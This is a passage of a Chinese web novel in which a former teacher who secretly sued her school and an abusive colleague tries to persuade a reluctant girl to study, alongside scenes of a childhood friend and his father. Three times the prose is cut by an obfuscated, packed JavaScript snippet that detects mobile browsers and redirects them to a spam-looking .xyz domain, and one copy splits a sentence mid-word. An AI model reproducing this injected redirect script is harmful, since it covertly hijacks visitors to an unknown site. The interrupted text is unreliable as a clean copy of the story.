梁梅知道她根本没过脑,也不妨碍她笑出声,看着她说:“我带你去个地方吧,你再好好想想要怎么回答我。至于刚才你的问题,我可以先回答你。那是你妈妈当时给学校开冷链车的工资。” 李映桥也是搬离了小画城后才知道的,当初学校找妈妈帮忙去运输冷链车,一直都没给钱。本来以为只是帮几天忙,不给也就算了,结果她妈开了整整一年,学校都没给钱。她妈那阵子被那些记者弄怕了,生怕被人拿出来给她做文章,什么事儿都忍着,死活也不让她回学校去闹。 没想到,梁老师还记着,李映桥说:“啊?是您帮我们要回来了?那学校没为难您吧?” “我早就辞职了,”梁梅头也不回,领着她过马路,“好了,剩下的问题别问了,我也不会再回答你了。” 丰潭那年还没有五星级酒店,但是城区的中心位置有一家相当气派,装修得金碧辉煌的国营大饭店,上次俞叔叔似乎就是在这家饭店给俞津杨摆的升学宴。 李映桥亦步亦趋地跟着梁梅下了出租车,刚穿过马路,她一眼瞥见饭店门口两人都抱不过来的大大罗马柱,旁边还泊着几辆锃亮的黑色公务车,仿佛里面有什么重要人物的会议。 “梁老师,”李映桥连忙叫住她,不肯往前走一步,“不要了吧,我没钱啊!您也别请我吃这么贵的饭,您这样我怀疑您对我有所图谋。” “不用怀疑啊,我对你就是有所图谋,”梁梅笑得相当坦然,目光却朝着国营饭店里头看了眼,“我还请了一个你很久没见的朋友,要不要进去和他说说话?” 9.第八章 梁梅后来回顾自己这乏善可陈的一生,她觉得自己有两件事做得特别对。第一件事是当了老师,第二件事为了庆祝九七年香港回归,她往素日里那个最爱装模作样的老师窗户里扔了个臭鸡蛋,尽管她被老师逮了个正着。 本以为会被劈头盖脸地教育一通,但老师并没有因此生气,还大发慈悲地给她煮了一碗面,往她面前一推,一副请君入瓮的姿态说:“你自己扔的臭鸡蛋,你自己吃。” 她憋着眼泪吃下去,但是臭鸡蛋却没有想象中那么臭。 那年她不过十二岁,再怎么愤世嫉俗,在手段多得能编好几套课间操的老师眼里,也不过是只张不开牙、舞不了爪的纸老虎。 梁梅从小在福利院长大,和其他小朋友的区别是——她不知道自己的生日,只知道自己是八五年的冬月出生。 一九九九年,在那位老师的激将下,她几乎跌破所有人的眼镜,意外考上庆宜师范学校——那时候S省内少数几所中等师范学校之一,也就是俗称的中专,不仅学费便宜还包分配。 中师三年,老师又故技重施,梁梅在她的激将法下,练就一手漂亮的板书和一身拿不出手的才艺。用老师的原话讲,教书这行当,科班出身的老师学生们都不怕,最怕的是,野路子学渣从良,脑洞大开要回学校教书育人。 这种老师上克校领导,下克学生,独揽那一届最大的刺头。 梁梅毕业后顺利被分配回到丰潭任教,起初分配到一所初中教语文。老师对她仍旧不屑,觉得她烂泥扶不上墙,而她也仍旧很讨厌老师,她俩每次见面几乎都吵架,不给老师吵到冒烟,她当这趟白来。 后来随着学历的水涨船高和政策改革,没有本科文凭和人脉的她,被一脚踢出初中教师的队伍,调到画城小学当班主任。 老师没再管她,知道她是朽木雕花,孺子不可教。但凡那几年努努力早点把函授本科拿下来也不至于就这么被人踹出去了。梁梅也没想到政策改革如此利索,刚下发文件第二年就开始实行了,她没有人脉,更不可能厚着脸皮去求老师,自然成为改革第一批被调走的。 那天晚上路过小巷子时,梁梅浑身湿透,像刚从水里捞上来,单薄的裙摆软塌塌地紧贴在腿上,水珠汨汨顺着往下淌到青石板上,洇出一滩滩水渍,她连拧干裙子的力气都没有,上下牙冻得像失控的印刷机,在她嘴里毫无章法地跳动着,她其实不知道是冷的,还是吓的。 她原本是不想管的,心里也打定主意哪怕是自己班的学生也当作没看见。管他们去死啊,一群不知道天高地厚的兔崽子,不知道感恩,拿老师的付出当理所当然—— 要不是这次期中考试他们班平均分全年级垫底,她也不至于被年级组长留到这个点,让对方有了可趁之机。 尽管她没让他得逞,还用奖杯把他脑袋砸出好几个血窟窿,血溅了她一身,她在卫生间洗了很久,收拾干净后她有些脱力地蹲在地上痛哭了一场,最后还是用电话打了120。 所以她听见李映桥在巷子里大声呵斥着要把史大胖脑袋敲开花,脚就走不动了。她刚把一个人的脑袋敲开花,她深深知道这种恐惧,她想,小孩子下手没轻没重的,真把人打残了,李映桥一辈子就毁了。于是,梁梅赶忙冲了进去。 但是她没想到,俩小孩去给她买药,乖乖蹲在地上给她上药。即使猜到她不是摔沟里的李映桥,也没有追着问老师你怎么了,而是大声地跟她说梁老师,明天见。 明天,她还有明天吗? 如果钱东昌死了,她就没有明天了。 原本梁梅想第二天便去学校递交辞呈,然后报警。可她冷静下来一想,她没有证据,办公室没有监控,钱东昌比她伤得更重,报警极有可能会被钱东昌反咬一口。 正当她犹豫的时候,她看见脑袋缠着纱布的钱东昌,竟然当作什么都没发生,若无其事地站在讲台上给学生们上课。更荒谬的是,因他带病上课,学校竟然还大张旗鼓地给他评上了荣誉教师,丰潭日报还刊登了他的相关事迹,写得人潸然泪下,学生们对他更是一口一个尊敬“钱老师”。 于是梁梅改了主意,她没有立马辞职,又在画城小学待了近一年。 直到李映桥他们毕业那年,她得知校领导拖欠李姝莉的工资,她将这一年收集到的证据一并将钱东昌和学校告上法庭。 官司打了近两年,她胜诉了,学校赔了钱,钱东昌没了工作,当然,她也处处被找茬,因为各种各样的原因,总之不是因为她告了学校这件事而没了工作。而且,丰潭再也没有任何小学肯再录用她。 她也没打算再当老师,拿到学校的赔偿金,她第一时间把钱给李姝莉送过去,就打算离开丰潭。李姝莉搬家搬得很彻底,她猜李映桥应该去了仙城二中,于是托她的老师在二中问了不少人脉,才打听到她们现在的住址。 门打开的一瞬间,她又改变主意了,她决定最后再当一回老师—— 李映桥的人生,不应该停在这。 ** 国营饭店的包厢里,安静得只能听见窗户缝隙里钻进寒风的呜鸣声。那是一二年的二月初,初二下学期刚开学不久,丰潭没有暖气,李映桥都没穿羽绒服,她身上就一件厚厚的卫衣外套,倒不是李姝莉不给她买,买了她也不穿,她不喜欢把自己裹得像个冬瓜。 然而,国营大饭店是当时整个丰潭最高的一栋建筑,李映桥从来没听过叫得那么鬼哭狼嚎的风声,像一只飓风猛兽在啃噬着门窗发出悲悯的嘶吼声。从来不觉得丰潭冷的她,第一次觉得好冷。 这大概就是高处不胜寒吧。 她转头看俞津杨,这个有两年没见的旧时小友,不光穿着巨厚的黑色羽绒服,脖子上还戴着围巾,脑袋上还戴着一顶鸭舌帽,保不齐身上还贴着暖宝宝,显见唐湘阿姨是一点儿冻都不愿意让他挨。 “哎。”李映桥莫名叹了口气。 一旁从进门开始就一直默默吃饭,安静得出奇的俞津杨,终于转过头淡淡地瞥她一眼——然后默默把帽子和围巾摘了扔旁边空着椅子上,他知道她在嫌弃什么,她从小就嫌他穿得多,嫌他一到冬天就裹得像个冬瓜。 俞津杨扔完帽子和围巾,也没同她讲话,又继续低头慢条斯理地吃饭。 梁梅一进门大刀阔斧点了一堆菜,自己没吃两口就去门口抽烟了。包厢里只剩下两个最讲礼貌的初中生,李映桥靠在椅背上,看着俞津杨正低着头喝汤的后脑勺好半晌,还是没忍住,一巴掌不轻不重地呼上去:“喵喵,你跟我装什么斯文!” “叮咚——” 俞津杨勺子掉碗里,手还在碗沿虚虚搭着:“……” 他回头瞥她一眼,眼神很淡,说出的话却叫李映桥想掐死他,他说:“李映桥,都偶像了,能不能别动手动脚的?” 李映桥眼神倏地瞪着他:“那歌谣谁编的?不是你吧?” 俞津杨也往后椅子上一靠,和她并排靠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15444704|168418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着,看着桌上快冷掉的饭菜,下意识往门口看了眼,也没见梁梅要回来的迹象,他看着李映桥说:“不是我啊,我没那闲工夫。” 李映桥从上到下将他细细扫了遍,一身牌子货,看来俞叔叔真是越发有钱了。听说去年他在丰潭开了一个木制玩具城,宛如从童话书里活活剖出来的一座城堡,那叫一个恢弘大气、金碧辉煌,属于是丰潭的“迪士尼乐园”,二中不少同学每个周末都去那边排队打卡,而且一票难求。 “你现在还在练街舞?但俞喵喵,你好像也没怎么长高嘛!”李映桥拿手在他脑袋上往自己这边一划。 俞津杨这两年都没怎么听见有人再这么叫他,一下子还有些不习惯,他看着李映桥那个在空中划出夸张的倾斜轨迹,嘴角忍不住抽了抽,“你那点小手段就留着自己骗自己吧,我现在少说比你高五公分。” “呸!站起来比比!来,你起来。”李映桥不服,伸手去拽他胳膊。 羽绒服被她扯得簌簌作响,俞津杨懒得和她闹,靠在椅子上瞧她,人是八风不动,转移话题和她讲说:“你知道梁老师这次找你干什么吗?” 李映桥“啊”了声,人又坐下来,回到正题,正襟危坐地看着他如实说:“不知道,但她帮我们要回了学校拖欠我妈妈的工资。梁老师是个好人,反正她不会把我给卖了的。而且,刚刚在门口她说请了一个我很久没见的朋友,问我想不想见见,我用脚趾头都猜着是你了!” “喵喵,见着你真好呀!”她又没脸没皮地这么讲。 “是吗?那你还上来就打我,”俞津杨冷笑,他太习惯她这个赏一巴掌给颗糖的套路,永远说最甜的话,下最狠的手,只为了下一次能更肆无忌惮地揍他,“李映桥,咱下次要是管不住手就剁掉好吧。” “啊?”李映桥一愣,“不会有下次了呀,我妈不让我到处乱跑,我基本上出不来的,这次是梁老师把我带出来的。” 俞津杨问:“那我以后怎么把实验的卷子和真题模拟给你?你考不考潭中了?” 李映桥更莫名其妙:“谁说我要考潭中啊?” 俞津杨刚要说梁老师给我打电话说的啊,不然我干什么来了,闲的啊。梁梅正巧就推门进来了,看见俩小孩大眼瞪大眼的,李映桥那句话正好从门缝里溜出来,她关上门,拉开椅子不容置喙地说:“我说的。” 李映桥婉拒:“……不了吧,梁老师,我从小就不爱学习。” 梁梅问:“谁从小爱学习?” 李映桥看了眼身旁这个:“他贼爱。” 俞津杨斜瞥她一眼,懒得狡辩:“你当我爱吧。” 梁梅又问:“我刚刚问你,你想成为什么样的人,你想清楚了吗?” 李映桥反应很快地说:“没想清楚,但我知道我不想成为什么样的人。” 梁梅说:“比如?” 李映桥再次看了眼身旁这哥,“不想成为他这样的人,一天到晚跟头驴似的,除了学习就是开会,不是开会就是去竞赛班,不是竞赛班就是去兴趣班学各种才艺。我看着都替他累,也不知道他搞这么日理万机,大学毕业以后要给谁服务。” “……” “喵喵,别把自己搞这么累咯,考什么潭中呀,跟我一起进厂拧螺丝去吧。我二中有个同学在校门口给同学贴膜一个月都能挣一千!我做你上线,绝对带你发家致富。” 梁梅:“……” 俞津杨:“…………” 10.第九章 劝学失败,梁梅结账时便觉肉痛,一顿花掉她大半存款,正想研究菜单找茬,发现菜单上一堆菜名她都对不上号,刚想说这是我那包厢的吗?服务员挤出一张复制粘贴无可挑剔的笑脸,同她讲说:“是您包厢的那单,不过已经挂在俞先生的帐上,不用结。” “谁?哪位俞先生?” 对方点头微笑:“是俞人杰先生。” 梁梅领着俩小孩下楼时就看见饭店门口的两根恢弘的罗马柱之间泊着一辆更恢弘大气的车,几乎一眼就能认出应该是俞津杨爸爸的车,只不过已经从当年的黑色大奔升级成黑色迈巴赫。 俞人杰站在罗马柱边上抽着烟和人打电话,眼神蓦然瞥到儿子走出来,冲他们扬了扬手中的电话,也算是和梁梅打了个招呼。 “你爸知道我们在这吃饭?”梁梅套上围巾,看了眼不远处的男人问俞津杨。 俞津杨“嗯”了声,说:“他最近天天在这吃饭应酬。” 李映桥却看着俞人杰高大英挺的背影,眼神莫名一亮。同样一件白衬衫,在小画城的俞叔叔是愣头青,站在这根玉髓流辉的罗马柱旁边就是风度翩翩的绅士精英。 她由衷地感叹一句:“喵喵,你爸真是越来越帅了,看来还是得挣钱啊。梁老师,我说得没错吧,钱多养人啊。” 俞津杨:“……” 梁梅:“…………” 俞人杰还没走到几人跟前,李映桥迫不及待和他打起招呼,声音又脆又亮:“俞叔叔!好久不见呐!你变得好帅啊!” 俞人杰刚把手机揣回兜里,脚步一趔趄,勉强在他们面前站定,眼神下意识在她和自己儿子的头顶划出一道线,不咸不淡地跟她微微一颔首道:“小鬼,是你啊,又长高不少。” 爷爷个腿的,李姝莉到底给她吃什么了! 俞津杨这两年身高虽然窜上来了,但正儿八经和李映桥站成一排,视觉上俩还是差不多高,顶多差一俩公分。 俞人杰吩咐司机送梁梅和李映桥回去,自己打算跟儿子散步回去。俞津杨从画城小学毕业后,他们也举家搬进城区的黄金地段。 丰潭是个县城,算不上寸土寸金,但簇拥在绿荫如盖的别墅群的房产价值却不菲——交通便利不说,远离各种城郊玩具厂的工业污染,还能闹中取静地剖出这么一块地,距离实验和潭中唯二两所在本地能让家长看得上眼的中学都不远。光后面这一点,在丰潭这些老古板的眼里,这就是块风水宝地。 从国营饭店走回去也就两百米。 俞人杰今晚和文旅局的人应酬,对方想让他把玩具城和丰潭当地几个无人问津的景点做个联合套票,要他让利。 说实话,他不介意别人从他手上分一杯羹,但显然有些人想把他面前整块蛋糕端走,这他不能忍。 于是他也卯足劲喝,让是不可能让的,结果喝得他血脉贲张,一下楼就把西装和大衣脱掉扔车里。司机也是个称职的,让他送人,二话不说一脚油门就把车轰上路了,都没问他冷不冷…… 本来他也想上车,但一想到最近盯他的记者多,又怕闹出些没头没脑的花边新闻来惹唐湘不痛快,就打算自己和儿子走路回去。 于是,他就这么穿着一件单薄的衬衫,在这个春寒料峭的晚上,和他亲爱的儿子并肩走在回家的路上。其实有儿子陪着,也没那么冷的! “阿杨,你冷不冷?” “冷,很冷,冷死了。”几乎没犹豫。 “怎么会呢,”俞人杰鼓励他说,“你看爸爸,穿这么少,爸爸一点都不冷。” 俞津杨仰头看他,“那你能把手从我衣服里拿出来吗?” “……” 当然拿不出来,俞人杰现在快冻成冰块,唯独手掌还能从他儿子的后背上汲取点温度,靠着那点余温维持两条腿的机动,他转移话题说:“李映桥那小鬼要考潭中啊?你刚刚把卷子都给她了,你自己写什么?” “……” 俞津杨有时候都怀疑他爹到底是怎么把生意做大的,还是真如他妈讲的,傻人有傻福。他漫不经心地看着沿路有一盏没一盏的路灯,说:“不写了,进厂拧螺丝算了。” “拧螺丝啊,拧螺丝也行,我儿子拧螺丝肯定也是最快的一个,”俞人杰哈哈一乐说,“你会跳街舞啊,你可以一边popping一边拧,绝对拧得比别人帅。” “和李映桥一起拧。” “那不行。”俞人杰立马一巴掌重重拍他背上,力道大得差点给俞津杨推旁边绿化道上。 “……那你把手拿出来。” “再给爸爸暖会儿,到底是年轻小伙,阳气旺得很,”俞人杰茅台后劲儿上来,酒精病毒占领高地,咂巴咂巴嘴,眼神开始飘远,“老爸年轻的时候,比你还旺,寒冬腊月里穿着短袖短裤撵鸡追狗,闹得鸡飞狗跳,镇上的叔叔阿姨都说我浑身使不完的劲儿,将来绝对赚大钱,不是我吹啊,那时候喜欢我的——” 又来了。 俞津杨无奈望天,想起唐湘女士那句振聋发聩的名言——中年男人无一逃不过喜欢忆往昔年少,让他谨记,到了年纪先一棍子把自己打失忆,以免被老婆嫌弃。 谁料,俞人杰话锋一转,停下脚步来,低头瞧着自己这个虽然稚气未全脱,但面庞轮廓已然初具冷峻款帅哥模型的半大小子,用胳膊肘捅了捅他,压下嗓音悄声问:“跟老爸说实话,学校有没有女孩子给你写情书?” 俞津杨的耳根仿佛白净宣纸上突然洇开一笔朱砂,粉色的红晕肉眼可见地弥漫到脖颈,连俞人杰贴着他后背的手掌都顿时觉得有些灼人。 “——没有。” 两人继续往前走,影子拖过长长又静谧的别墅区灌木丛里,偶尔听见一声犬吠和鸟鸣,余下都是父子俩的私房话,月光流淌在两人的影子上,仿佛要将这段光阴也无限抻长。 “啧啧啧,阿杨,开始不老实了啊,有事儿瞒着爸爸。” “真没啊——” “老爸也是过来人,老爸能不知道吗?喜欢你这款的应该不少。” “……” “说说嘛,我喝多了,你说个你自己的八卦,让我醒醒酒。” “要说几遍,真没有。” “不可能,上次去开家长会,老师都跟我说了,说好多女孩子趁着课间操一窝蜂地跑你们班来看你,堵着走廊,老师骂都骂不走。还让我低调点,我咋低调,长得帅,还有钱,又不是我的错。” “她们不是喜欢我才来看我的。” “啊?” “你自己去问我妈。” “叛逆期到了?咋这么不耐烦。” “别问了行吗?” “行行行,拽什么拽。” 当然,俞人杰一进门连拖鞋都来不及换,赤着脚就去问唐湘。后者刚洗完澡,正在做发膜,一边给脑门上罩锡纸一边从镜子里瞧他:“你真想知道?” “对啊,阿杨哪件事不是我亲力亲为啊,我为啥不能知道啊?”男人靠在门上颇自豪地说。 “那你做好心理准备。” 俞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15454729|168418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人杰一愣,倒是莫名有些激动:“阿杨谈恋爱了?” “不是!他才几岁他!阿杨还没开窍呢,再说,有李映桥这么个青梅抓马在,他和女孩子都说不上两句话,生怕再招惹个李映桥回来。” “那今天还跟人出去吃饭!给人送卷子,给他好心的!”俞人杰不屑道。 “那是梁老师给我打的电话,再怎么样咱们和桥桥曾经也是邻居,她要是洗心革面想好好学习,这么点忙咱们还能不帮一下?他也不想见,是我让他去的。” “唐女士大义。”俞人杰又拍上马屁,抱着胳膊转念一想,“不过,你确定他真不想见?他从饭店出来可没一点儿不想见的意思,走的时候,还和李映桥那小鬼一起在那抱罗马柱测罗马柱的围度,傻不愣登的。” 唐湘不和他废话,反倒是提醒他说:“我哪知道,但是我劝你别表现得太讨厌李映桥,津杨现在这么听话显然是没进入青春期,你要是表现太过分的话,万一青春期那股子叛逆劲儿上来,他为了要你对着干,什么事都能干出来,就你这二踢脚脾气,一件事就能让你爆炸。” “他去勾引李映桥啊?”俞人杰火连同着酒的后反劲儿一起窜上来,要他和李武声成为亲家,真是天方夜谭,他捂脸说,“别说了,不敢想,找根绳子我吊死算了。” 唐湘戴好锡纸罩,回过头来看着他说:“那我还要说吗?” “说,”俞人杰已经扶着墙倒在床上闭目养神开始醒酒,想了想,有些醉意地又纠正说,“不过,老婆,我可没为难那小鬼,刚刚在饭店门口碰见,我非常礼貌地和她say了hi——” 唐湘捂着鼻子走过去:“你到底喝了多少啊?” “忘了,喝了酒不能上床睡。” 俞人杰一边嘟囔着,一遍麻溜地从床上滚下来,他索性仰面朝天躺在地板上,看着有些令人眩晕的卧室琉璃灯,忍不住拿胳膊肘挡在脑门上,喃喃回答唐湘的问题:“没喝多少,但李书记是真当我傻,套票,也亏他想得出来。今天跟我说套票,明天就敢跟我提李武声进驻木玩城的事。丰潭木玩没有我老爷子,怎么可能会有今天。我爹就是亏在没跟我爷爷姓李,不然这会儿李伯清都不知道该站谁的边。算了,还好跟了我奶姓,我才不和这群人同流合污,哇,老婆,他们酒池肉林玩得别提多脏了~” 他浑身抖了抖,“咦”地拖长音,发出掷地有声的嫌弃:“恶心!” 唐湘也裹着发膜静静盘腿坐在地上看着他,“说完了吗?俞大聪明。” “您指示。”俞人杰躺着还敬了个礼。 “你还记得有次咱俩吵架,你给我写得保证书吗?”唐湘问。 “记得。”他点头。 “把开头背一遍。” 俞人杰张口就来:“my love——” “打住吧,”唐湘点到即止,看着地上的男人说,“你有次给儿子检查作业,把保证书不小心夹进去,儿子当成作业交上去了。老师以为他早恋,把他叫去办公室询问,结果就在这会儿,他们班一个调皮捣蛋的大高个,在讲台上把你的保证书声情并茂地朗诵了一遍。你儿子跟老师解释了,老师不信,为此我还特意去一趟学校给老师解释,老师也觉得我是给儿子打掩护。从此就有一群女生课间操去他们班里看你儿子!” “不是喜欢你儿子!不是想跟他早恋!”唐湘猝不及防地拔高了音量,拧他的肩膀,边拧边一字一顿咬牙说:“是看猴子!跟看峨眉山猴子一样!看你儿子!” 俞人杰:“…………” 11.第十章 俞人杰这会儿算是咂摸出老师当时话里话外就是让他这个爹当得低调些。真好笑,这是他从小的梦想,如今好不容易实现,他没敲锣打鼓带着老婆孩子出街都算他内向。 话是这么讲,但他转念一想——他们家津杨长得仪表堂堂,如此纯情的冷峻帅哥,而且成绩优异稳居年级前三,从小到大获得过的奖状摞起来比他人都高,每年学校的文艺汇演还年年给大家跳舞助兴,放学一有空就跑去喂猫猫狗狗鼠鼠豹豹虎虎什么的,给这些流浪小动物养得油光水滑。他捧在手心里长大的儿子这么宜室宜家,不说在学校要如何众星捧月,但居然没有女生喜欢他!简直天方夜谭。 “你懂什么,这会儿都还在喜欢隔壁黄毛呢!”唐湘回到卫生间卸掉发膜,很是理解,但有些事儿提起来,她也满肚子火。 “在讲台上大声朗读你保证书的那个大高个——阿杨的同桌,还是他们班的风云人物,老仗着个子高,欺负你儿子比他矮,拿你儿子的作业本各种垫桌角。你知道阿杨最讨厌别人动他作业,有一次,还拿圆规扎阿杨,你儿子现在胳膊上都还有疤。” 俞人杰酒醒了大半,一骨碌从地上爬起来,跌跌撞撞地冲到卫生间:“混帐东西!我就说呢!再混也不该随便乱读别人的信件,这小子就是坏。叫什么名字?我让老张去查查。” 老张是俞人杰的秘书,丰潭百晓生,办事相当麻利,半小时不到就把对方资料发到老板的手机里。 俞人杰在卧室露台上打了个含爷量极高的电话。 “唐湘,下次这种事儿你再和儿子一起瞒着我,我真生气了啊。”他半夜想想还是气不过,从床上爬起来,“啪”地打开床头灯,把唐湘从睡梦中拉起来,咬牙切齿地威胁她说,“那可是圆规啊!谁知道那小子有没有用圆规抠过屁/眼啊!脏死了,都不知道消毒没有,破伤风打了吗?” 唐湘:“……” 俞人杰越想越睡不着,索性掀开被子,“不行,我明天还得上趟学校。” 唐湘一把给他拉回来,声音还带着困意:“我骗你的啦,没扎进去,你自诩阿杨的事你都亲力亲为,怎么连他胳膊上的疫苗疤都认不出来吗?” “……” 唐湘重新埋进枕头里,“阿杨反应快,没让他整根扎进去,就划了一道小口子,我给他洗衣服的时候发现袖子破了才问的,他不让我告诉你,就是怕你又去折腾人家爸爸,他说自己能解决。” “他解决个毛线,就那他小猫小兔的脾气,”俞人杰冷哼一声,揿灭台灯,整个人像条丝滑入水的鱼,瞬间溜进被窝里,声音闷闷又笃定,“别当我傻,要真解决了,你今天就不会这么暗戳戳跟我讲这件事,你无非心里也气不过。我还就报复了,不让他爹拎着那兔崽子上门给我儿子道歉。我跟你姓!唐湘。” “……” 半晌后,唐湘还不忘在睡梦中宽慰他,“其实,也很正常,从小就当班干部的阿杨,确实很容易被列为人民的公敌。我在这个年纪喜欢的也是头发甩甩、紧身裤跩跩的鬼火少年。” “……” 初中三年,俞津杨确实没怎么得到女生的青眼,除了俞人杰那封肉麻到让儿子成为众矢之的的保证书之外。主要还是因为他作为班长兼团支书,和老师之间紧密的联系,让女生对他望而却步。尽管popping已经跳得非常有型,但也就文艺汇演那几天能收获不少蠢蠢欲动、暗藏秋波的小眼神。 一旦回到学期正轨,他恢复平日里一丝不苟的班长作派,女生们心里的小火苗瞬间熄灭,纷纷退避三舍。 当然也有不信邪,想要考验干部的,初三那年的文艺汇演结束后,一名打扮得像草莓蛋糕的女生前呼后拥着一帮唯她命是从的小姐妹,将俞津杨香喷喷地堵在教室后门。 这位拽姐不知道从哪部偶像剧里学来的雷人招数,她走到俞津杨面前,猛地拽下自己脖子上的项链,二话不说就塞他裤兜里,放下狠话说要在一周之内将他追到手,就一步一晃地甩着马尾骄傲地扬长而去。因此而得名“拽姐”——拽项链的姐。 俞津杨那时也不觉得这女孩是真喜欢他,因为早上他刚在校门口登记没穿校服的人数,她的名字赫然在列。无非就是想换个方式,让他把她的名字从本子上划掉。这些女生为了不穿校服招数层出不穷,在这点上,他就比较喜欢李映桥简单粗暴的处理方式。 给他一老拳,不行就两拳。天大的事儿,她也就两拳。 李映桥知道他的底线,两拳搞不定的事儿,那打死他也搞不定。李映桥也是个很有原则的姑娘,能出两拳,绝对不出一拳。 不过拽姐很快就移情别恋。因为高典那年户籍不在深圳,无法参加当地中考,于是又从深圳转学回来,恰好分进俞津杨所在的班级,彼时的高典身高已经一米八,完全碾压班里曾经的大个头,成为了断层巨个。 于是班级人尊称他为“典哥”,就连俞津杨曾经那个不可一世的同桌都腆着脸跟着叫“典哥”,都不用等他爹教训,罗原再也没敢碰俞津杨的作业。有了高典,班主任每次找俞津杨也轻松很多,他俩保准形影不离,课间操也是,在男生人均身高一米六五的班级里,一米八的高典简直是根定海神针。 高典一落定,立马迫不及待地跟俞津杨询问他偶像的去处,俞津杨没有李映桥的联系方式。自从那次国营大饭店见面之后,他俩也没再见过,只有梁梅老师给过他一次电话,大致意思是她还在劝学路上,革命还没成功,让他卷子先留着。 然而,过去整整一个学期,梁梅老师都没再给他电话。这就是头驴,也该拉回家上套了。 直到很多年后,他也彻彻底底领教了——李映桥到底有多倔,梁梅老师后来的成功不可复刻,他只能另辟蹊径。 ** 梁梅苦不堪言。自古以来,劝学这件事就是很费老师。要把一个宁愿蹲在地上研究一下午蚂蚁搬家去哪儿,也不愿意掏出卷子扫一眼为什么这里又错了的熊孩子领回家学习,至少她没有她老师的功力。 于是,她把那窝蚂蚁搬到自己租的房子让她慢慢研究,玩累了就给她讲讲卷子,越是这种时候,李映桥记得还挺牢。后来梁梅屡试不爽,于是这小半年她养了一堆有的没的,什么蟋蟀、蜗牛、蛐蛐、蜘蛛、还有一只超大只的屎壳郎,谁敢打架就枪毙谁。 当然,梁梅最想枪毙的还是李映桥。她此刻终于领悟当年恩师对她的用心良苦,也终于明白,什么叫一物降一物。李映桥俨然是有一套比她还能说服自己的逻辑体系,她并不指望靠学习来改变命运,尽管梁梅给她讲一堆道理,李映桥能立刻说出一堆歪理来反驳她。 梁梅无论多么真心和推心置腹的对白,跟她讲到最后,李映桥原封不动搬出她那套歪理邪说:“真心不是用来换真心的,想要用真心来换真心,那老师你会受伤的哦。但真心可以换钱,不然为什么我妈老说,如果你真心想要,我给你便宜点。你看,只要我说我是真心的,五十块的围巾变四十五块,我是不是立马挣五块?” 梁梅:“……” 梁梅不再执着于和她讲道理,知道她爱看小说和番剧,就给她推荐了一部日剧,讲述的是一对热爱音乐的好朋友,最终因为学业差距分道扬镳,逐渐失联,再重逢已然相顾无言,只剩无限唏嘘。 梁梅问她看完什么感想,李映桥小脑瓜显然都没在转,敷衍地说:“我会好好学习的。”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15467172|168418||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 梁梅一听就没憋什么好屁:“你学个鬼。” 李映桥那会儿正靠在家门口的电线杆子上百无聊赖地数着头顶几颗寥落的星星,最后也无可奈何地叹了口气:“呐,老师你看,我说了你又不信。” 梁梅再次搬出杀手锏:“你不想和俞津杨一起上潭中吗?以后他考上名牌大学,以他的家庭条件,他爸肯定送他出国留学,等他学成归国,你想想,他从小对自己要求多严格。他是妥妥的海龟精英,长得又帅。你职高毕业,就算拧螺丝攒了点小钱,你和他也彻底变成两个世界的人,你们还能像现在这样当好朋友吗?还能有话题聊吗?” 坦白讲,李映桥很矛盾,她对俞喵喵的感情很复杂——她真心希望他过得好,又真心不希望他过得太好。 所以她说真心这个东西很复杂的。这次能再次见到他,李映桥内心是雀跃的,她确实不想失去俞喵喵这个朋友,真的不想。所以每次见面她特别努力地极力维护他们的关系。 在小画城没有变成英雄之前的那段时光,是她目前最快乐的一段日子,那是她心中永远亮着灯的博物馆。而俞津杨就好像从小画城搬出来的一个鲜活的纪念公仔,太有纪念意义,她对他是有小画城滤镜的。 但是如果真像梁梅老师这样讲的,那岂不是喵喵以后出国,她也要想办法努力让自己赚钱出国,不然他们还是会渐行渐远,那李映桥觉得自己会很累,甚至还有可能会拖累妈妈,她们现在的生活就已经难以为继了。 那她也不是非要和俞喵喵做朋友的。 “我会有其他朋友的。” 李映桥像是在跟她说,又像是在跟自己说。 梁梅那一刻是真的深深体会到了当初恩师对她的无力感,这大概就是报应。起初李映桥还会规规矩矩地喊她梁老师,带着几句拘谨的礼貌,始终拿捏着师生之间的分寸感。 如今,她已经生生越过师生之间的藩篱,直接一口一个梅姐,有时候还会抱着她的胳膊撒娇,像块甩都甩不掉的牛皮糖,拖着音调喊:“好啦——梅姐——,让我先打完这份工好吗?” 她偶尔还会学校门口的奶茶店帮人做了个小兼职,别得不说,算账是真得快,老板也不敢真雇佣她,只能偶尔人手不够让她过来盯个梢。李映桥不敢让李姝莉知道,梁梅以此威胁,她才答应这学期期末一定考进全班前十。 仙二的全班前十,那放在实验还是吊车大尾。这远远不是梁梅的目标,梁梅不知道她为什么如此抵触学习,就像李映桥也不知道梁梅为什么对她这么执着。 